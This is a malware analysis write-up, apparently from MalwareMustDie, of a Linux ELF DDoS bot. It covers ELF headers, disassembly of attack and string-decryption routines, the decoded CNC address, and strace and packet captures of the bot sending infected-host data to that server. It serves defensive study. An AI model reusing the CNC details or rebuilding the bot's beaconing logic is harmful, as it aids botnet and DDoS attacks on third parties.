# MalwareMustDie China ELF DDoSer Analysis
# Sample: 9a2a00f4bba2f3e0b1211a1f0cb48896
# ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
# VT: https://www.virustotal.com/en/file/bb4786695774ae7777200a78e56db83ad5d5bdf1c1b84ef86dd796f7c9a3e1b4/analysis/1409687242/

# Reference1 analysis (x64 base compilation, older version, new dates, CNC: 199.101.117.142)
https://www.virustotal.com/en/file/8fa44a7b3eb707f584b223792bdb78b1e5f69a40dba20634094077c2f0287bca/analysis/1409730903/ 
# Reference2 analysis (same compilation, same CNC IP 61.147.103.21 w/u different port number as CNC)
https://www.virustotal.com/en/file/d2b3ce2195b1422c165faeb1fbbdd098f13df6cf6595fb18f8d618cd78df597c/analysis/1409729124/

# =============================
# Binary Analysis
# =============================

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2s complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048120
  Start of program headers:          52 (bytes into file)
  Start of section headers:          1199680 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         5
  Size of section headers:           40 (bytes)
  Number of section headers:         28
  Section header string table index: 25

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .note.ABI-tag     NOTE            080480d4 0000d4 000020 00   A  0   0  4
  [ 2] .init             PROGBITS        080480f4 0000f4 000017 00  AX  0   0  4
  [ 3] .text             PROGBITS        08048120 000120 0e3800 00  AX  0   0 32
  [ 4] __libc_freeres_fn PROGBITS        0812b920 0e3920 000f6e 00  AX  0   0  4
  [ 5] __libc_thread_fre PROGBITS        0812c890 0e4890 0000e2 00  AX  0   0  4
  [ 6] .fini             PROGBITS        0812c974 0e4974 00001a 00  AX  0   0  4
  [ 7] .rodata           PROGBITS        0812c9a0 0e49a0 021eee 00   A  0   0 32
  [ 8] __libc_subfreeres PROGBITS        0814e890 106890 00003c 00   A  0   0  4
  [ 9] __libc_atexit     PROGBITS        0814e8cc 1068cc 000004 00   A  0   0  4
  [10] __libc_thread_sub PROGBITS        0814e8d0 1068d0 000004 00   A  0   0  4
  [11] .eh_frame         PROGBITS        0814e8d4 1068d4 016d08 00   A  0   0  4
  [12] .gcc_except_table PROGBITS        081655dc 11d5dc 005049 00   A  0   0  4
  [13] .tdata            PROGBITS        0816b628 122628 000014 00 WAT  0   0  4
  [14] .tbss             NOBITS          0816b63c 12263c 00001c 00 WAT  0   0  4
  [15] .ctors            PROGBITS        0816b63c 12263c 00002c 00  WA  0   0  4
  [16] .dtors            PROGBITS        0816b668 122668 00000c 00  WA  0   0  4
  [17] .jcr              PROGBITS        0816b674 122674 000004 00  WA  0   0  4
  [18] .data.rel.ro      PROGBITS        0816b680 122680 00063c 00  WA  0   0 32
  [19] .got              PROGBITS        0816bcbc 122cbc 00005c 04  WA  0   0  4
  [20] .got.plt          PROGBITS        0816bd18 122d18 00000c 04  WA  0   0  4
  [21] .data             PROGBITS        0816bd40 122d40 001034 00  WA  0   0 32
  [22] .bss              NOBITS          0816cd80 123d74 0091d8 00  WA  0   0 32
  [23] __libc_freeres_pt NOBITS          08175f58 123d74 000020 00  WA  0   0  4
  [24] .comment          PROGBITS        00000000 123d74 000fa5 00      0   0  1
  [25] .shstrtab         STRTAB          00000000 124d19 000126 00      0   0  1
  [26] .symtab           SYMTAB          00000000 1252a0 018110 10     27 1246  4
  [27] .strtab           STRTAB          00000000 13d3b0 03224e 00      0   0  1

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0x122625 0x122625 R E 0x1000
  LOAD           0x122628 0x0816b628 0x0816b628 0x0174c 0x0a950 RW  0x1000
  NOTE           0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R   0x4
  TLS            0x122628 0x0816b628 0x0816b628 0x00014 0x00030 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

 Section to Segment mapping:
  Segment Sections...
   00     .note.ABI-tag .init .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_subfreeres __libc_atexit __libc_thread_subfreeres .eh_frame .gcc_except_table
   01     .tdata .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs
   02     .note.ABI-tag
   03     .tdata .tbss

Offset 0x000000d4 | len x00000020:
  Owner         Data size       Description
  GNU           0x00000010      NT_VERSION (version)

// Notes:
no dynamic section 
no relocations 
no unwind sections 

# =============================
# Reversing w/debug PoC
# =============================

// first section reversed (for characteristic)
            ;-- section..text:
            0x08048120    31ed         xor ebp, ebp
            0x08048122    5e           pop esi
            0x08048123    89e1         mov ecx, esp
            0x08048125    83e4f0       and esp, 0xfffffff0
            0x08048128    50           push eax
            0x08048129    54           push esp
            0x0804812a    52           push edx
            0x0804812b    68f4c20c08   push sym.__libc_csu_fini ; 0x080cc2f4
            0x08048130    689cc20c08   push sym.__libc_csu_init ; 0x080cc29c
            0x08048135    51           push ecx
            0x08048136    56           push esi
            0x08048137    681ca70408   push sym.main ; 0x0804a71c
            0x0804813c    e8cf390800   call sym.__libc_start_main
               0x080cbb10(unk, unk, unk, unk, unk, unk, unk, unk) ; sym.__libc_start_main
            0x08048141    f4           hlt
            0x08048142    90           nop
            0x08048143    90           nop

// Chinese lang

.rodata:081301A0 aINZD  db 'ｴｴｽｨﾔｭﾊｼﾌﾗｽﾓﾗﾖﾊｧｰﾜ(%d)',0Dh,0Ah,0
0x00747E0  CUNG5
0x007518F  CUNG	
0x0075693  B4CUNG
0x0102520  i18n:1999
  :

// config:
0x00E5C22  fake.cfg
// template:
%d
%d.%d.%d.%d:%d.%d.%d.%d
%d:%d

// poc:
# cat fake.cfg
0
YOUR-IP-HERE:AND-HERE
10000:60000

// get ethernet IP address local to be written in the fake.cfg:

getsockname(3, {sa_family=AF_INET, sin_port=htons(48417), sin_addr=inet_addr("mmd.mmd.mmd.mmd")}, [16]) = 0


//testing  internet connection by baidu.com (DNS query)

0x00E50FD  www.baidu.com
// PoC:
sendto(3, "\231\v\1\0\0\1\0\0\0\0\0\0\3www\5baidu\3com\0\0\1\0\1", 31, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, 16) = 31
recvfrom(3, "\231\v\201\200\0\1\0\2\0\0\0\0\3www\5baidu\3com\0\0\1\0\1\300"..., 1024, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, [16]) = 74

// compile/compat traces:

0x0124CC0  GCC: (GNU) 4.0.0 20050519 (Red Hat 4.0.0-8)
0x0124CED  GCC: (GNU) 4.0.0 20050525 (Red Hat 4.0.0-9)

// Sources:

 'crtstuff.c'
 'Fake.cpp'
 'Global.cpp'
 'main.cpp'
 'Manager.cpp'
 'ProtocolUtil.cpp'
 'ServerIP.cpp'
 'StatBase.cpp'
 'ThreadAttack.cpp'
 'ThreadAttackKernal.cpp'
 'ThreadHostStatus.cpp'
 'ThreadTaskManager.cpp'
 'ThreadTimer.cpp'
 'AutoLock.cpp'
 'FileOp.cpp'
 'Log.cpp'
 'Md5.cpp'
 'Media.cpp'
 'NetBase.cpp'
 'ThreadCondition.cpp'
 'Thread.cpp'
 'ThreadMutex.cpp'
 'Utility.cpp'

// And the ThreadAttack.cpp is the key function to make these
// attacks/offensive malicious activities calls:

CThreadAttack::ProcessMain(void)
CThreadAttack::EmptyConnectionAtk(CSubTask &)
CThreadAttack::HttpAtk(CSubTask &) 
CThreadAttack::FakeUserAtk(CSubTask &)
CThreadAttack::Stop(void)  
CThreadAttack::DomainInitEx(CRandArray &,char  const*)  
CThreadAttack::DomainRandEx(CRandArray &,int &) 
CThreadAttack::CrossPkt(int) 
CThreadAttack::~CThreadAttack() 
CThreadAttack::CThreadAttack(CManager *)
CThreadAttack::Start(CCmdMessage *)
CThreadAttack::InitCrossPkts(std::vector<uint,std::allocator<uint>..
CThreadAttack::PktAtk(CSubTask &,std::vector<uint,std::allocator<..

// Key Attacks Noted beside DDoS:

  0x805478A ; CThreadAttack::EmptyConnectionAtk(CSubTask &)
  0x805478Apublic _ZN13CThreadAttack18EmptyConnectionAtkER8CSubTask
  0x805478A_ZN13CThreadAttack18EmptyConnectionAtkER8CSubTask proc near
  0x805478A push ebp
  0x805478B mov  ebp, esp
  0x805478D leave
  0x805478E retn 
  0x805478E
  0x805478E _ZN13CThreadAttack18EmptyConnectionAtkER8CSubTask endp

  0x8054790 ; CThreadAttack::HttpAtk(CSubTask &)
  0x8054790public _ZN13CThreadAttack7HttpAtkER8CSubTask
  0x8054790_ZN13CThreadAttack7HttpAtkER8CSubTask proc near
  0x8054790 push ebp
  0x8054791 mov  ebp, esp
  0x8054793 leave
  0x8054794 retn 
  0x8054794
  0x8054794 _ZN13CThreadAttack7HttpAtkER8CSubTask endp

  0x8054796 ; CThreadAttack::FakeUserAtk(CSubTask &)
  0x8054796public _ZN13CThreadAttack11FakeUserAtkER8CSubTask
  0x8054796_ZN13CThreadAttack11FakeUserAtkER8CSubTask proc near
  0x8054796 push ebp
  0x8054797 mov  ebp, esp
  0x8054799 leave
  0x805479A retn 
  0x805479A
  0x805479A _ZN13CThreadAttack11FakeUserAtkER8CSubTask endp

// Spawn processes and connecting to the CNC (noted 44 process will be spawned for the callbacks):
     :
  0x80532D2 sub  esp, 214h ; Integer Subtraction
  0x80532D8 lea  ecx, [ebp+var_10C] ; Load Effective Address
  0x80532DE mov  edx, offset _ZZN9CServerIP10InitializeEvE4C_48 ; CServerIP::Initialize(void)::C.48 <======
  0x80532E3 mov  eax, 100h
  0x80532E8 sub  esp, 4  ; Integer Subtraction
  0x80532EB push eax
  0x80532EC push edx
  0x80532ED push ecx
  0x80532EE call memcpy  ; Call Procedure
  0x80532F3 add  esp, 10h; Add
  0x80532F6 lea  ecx, [ebp+var_20C] ; Load Effective Address
  0x80532FC mov  edx, offset _ZZN9CServerIP10InitializeEvE4C_49 ; CServerIP::Initialize(void)::C.49 <======
  0x8053301 mov  eax, 100h
  0x8053306 sub  esp, 4  ; Integer Subtraction
  0x8053309 push eax
  0x805330A push edx
  0x805330B push ecx
  0x805330C call memcpy  ; Call Procedure
  0x8053311 add  esp, 10h; Add
  0x8053314 push 27h
  0x8053316 push offset a7005601212 ; "70/056/012/12"  ; <============================
  0x805331B push 0FFh
  0x8053320 lea  eax, [ebp+var_10C] ; Load Effective Address
  0x8053326 push eax
  0x8053327 call _ZN8CUtility7DeCryptEPciPKci ; CUtility::DeCrypt(char *,int,char  const*,int)
  0x805332C add  esp, 10h; Add
  0x805332F push 0Ah
  0x8053331 push offset a63551; "63551" ; <============================
  0x8053336 push 0FFh
  0x805333B lea  eax, [ebp+var_20C] ; Load Effective Address
  0x8053341 push eax
  0x8053342 call _ZN8CUtility7DeCryptEPciPKci ; CUtility::DeCrypt(char *,int,char  const


// Heres the decryption codes for cracking CNC..:

  0x8062EF0
  0x8062EF0 ; CUtility::DeCrypt(char *, int, char  const*, int)
  0x8062EF0 public _ZN8CUtility7DeCryptEPciPKci
  0x8062EF0 _ZN8CUtility7DeCryptEPciPKci proc near  ; CODE XREF: CServerIP::Initialize(void)
  0x8062EF0 ; CServerIP::Initialize(void)
  0x8062EF0
  0x8062EF0 var_4= dword ptr -4
  0x8062EF0 arg_0= dword ptr  8
  0x8062EF0 arg_4= dword ptr  0Ch
  0x8062EF0 arg_8= dword ptr  10h
  0x8062EF0 arg_C= dword ptr  14h
  0x8062EF0
  0x8062EF0 push ebp
  0x8062EF1 mov  ebp, esp
  0x8062EF3 sub  esp, 10h; Integer Subtraction
  0x8062EF6 mov  [ebp+var_4], 0
  0x8062EFD jmp  short loc_8062F36 ; Jump
  0x8062EFD
  0x8062EFF
  0x8062EFF loc_8062EFF: ; CODE XREF: CUtility::DeCrypt(char *,int,char  const*,int)
  0x8062EFF mov  eax, [ebp+var_4]
  0x8062F02 and  eax, 1  ; Logical AND
  0x8062F05 test al, al  ; Logical Compare
  0x8062F07 jzshort loc_8062F1E ; Jump if Zero (ZF=1)
  0x8062F07
  0x8062F09 mov  eax, [ebp+var_4]
  0x8062F0C mov  edx, eax
  0x8062F0E add  edx, [ebp+arg_0] ; Add
  0x8062F11 mov  eax, [ebp+var_4]
  0x8062F14 add  eax, [ebp+arg_8] ; Add
  0x8062F17 mov  al, [eax]
  0x8062F19 inc  eax  ; Increment by 1
  0x8062F1A mov  [edx], al
  0x8062F1C jmp  short loc_8062F31 ; Jump
  0x8062F1C
  0x8062F1E
  0x8062F1E loc_8062F1E: ; CODE XREF: CUtility::DeCrypt(char *,int,char  const*,int)
  0x8062F1E mov  eax, [ebp+var_4]
  0x8062F21 mov  edx, eax
  0x8062F23 add  edx, [ebp+arg_0] ; Add
  0x8062F26 mov  eax, [ebp+var_4]
  0x8062F29 add  eax, [ebp+arg_8] ; Add
  0x8062F2C mov  al, [eax]
  0x8062F2E dec  eax  ; Decrement by 1
  0x8062F2F mov  [edx], al
  0x8062F2F
  0x8062F31
  0x8062F31 loc_8062F31: ; CODE XREF: CUtility::DeCrypt(char *,int,char  const*,int)
  0x8062F31 lea  eax, [ebp+var_4] ; Load Effective Address
  0x8062F34 inc  dword ptr [eax] ; Increment by 1
  0x8062F34
  0x8062F36
  0x8062F36 loc_8062F36: ; CODE XREF: CUtility::DeCrypt(char *,int,char  const*,int)
  0x8062F36 mov  eax, [ebp+var_4]
  0x8062F39 cmp  eax, [ebp+arg_C] ; Compare Two Operands
  0x8062F3C jge  short locret_8062F52 ; Jump if Greater or Equal (SF=OF)
  0x8062F3C
  0x8062F3E mov  eax, [ebp+var_4]
  0x8062F41 cmp  eax, [ebp+arg_4] ; Compare Two Operands
  0x8062F44 jge  short locret_8062F52 ; Jump if Greater or Equal (SF=OF)
  0x8062F44
  0x8062F46 mov  eax, [ebp+var_4]
  0x8062F49 add  eax, [ebp+arg_8] ; Add
  0x8062F4C mov  al, [eax]
  0x8062F4E test al, al  ; Logical Compare
  0x8062F50 jnz  short loc_8062EFF ; Jump if Not Zero (ZF=0)
  0x8062F50
  0x8062F52
  0x8062F52 locret_8062F52: ; CODE XREF: CUtility::DeCrypt(char *,int,char  const*,int)
  0x8062F52 ; CUtility::DeCrypt(char *,int,char  const*,int)
  0x8062F52 leave; High Level Procedure Exit
  0x8062F53 retn ; Return Near from Procedure
  0x8062F53
  0x8062F53 _ZN8CUtility7DeCryptEPciPKci endp
  0x8062F53

// CNC Decoded: 

61.147.103.21:54460

// PoC-ed:

connect(3, {sa_family=AF_INET, sin_port=htons(54460), sin_addr=inet_addr("61.147.103.21")}, 16) = -1 EINPROGRESS (flag)
send(3, "\270\v\0\0\0N.%EN.%E\20'`\352MMD-IS-BANGING-YOU-B1TCH! x.x.x.x"..., 401, 0) = 401

// Spawning process PoC (44 rounds w/ one parent as per reversed)
Process 17553 detached
Process 17552 detached
  :
Process 17593 detached
Process 17594 detached

// CNC communication:
// Two steps communication:

// 1. sent establish HTTP request to 180.76.3.151

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("180.76.3.151")}, 16) = -1 EINPROGRESS

x.x.x.x	180.76.3.151	TCP	74	48417 > http [SYN] Seq=0 Win=14600 Len=0 MSS=1460 SACK_PERM=1 TSval=895351513 TSecr=0 WS=128
180.76.3.151	x.x.x.x	TCP	74	http > 48417 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 MSS=1440 SACK_PERM=1
x.x.x.x	180.76.3.151	TCP	54	48417 > http [RST] Seq=1 Win=0 Len=0

// 2. sent infected machine data to CNC:

x.x.x.x	61.147.103.21	TCP	455	33911 > 54460 [PSH, ACK] Seq=1 Ack=1 Win=14720 Len=401

00000000  b8 0b 00 00 00 4e 2e 25  45 4e 2e 25 45 10 27 60 .....N.% EN.%E.**
00000010  ea 4c 69 6e 75 78 20 33  2e 32 2e 30 2d 34 2d 61 .Linux 3 .2.0-4-a
00000020  6d 64 36 34 00 00 00 00  00 00 00 00 00 00 00 00 md64.... ........
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
000000A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
000000B0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
000000C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
000000D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
000000E0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
000000F0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000120  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000130  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000160  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000180  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........
00000190  00                                               .

----
#MalwareMustDie!
/* This analysis post is dedicated to all UNIX sysadmins */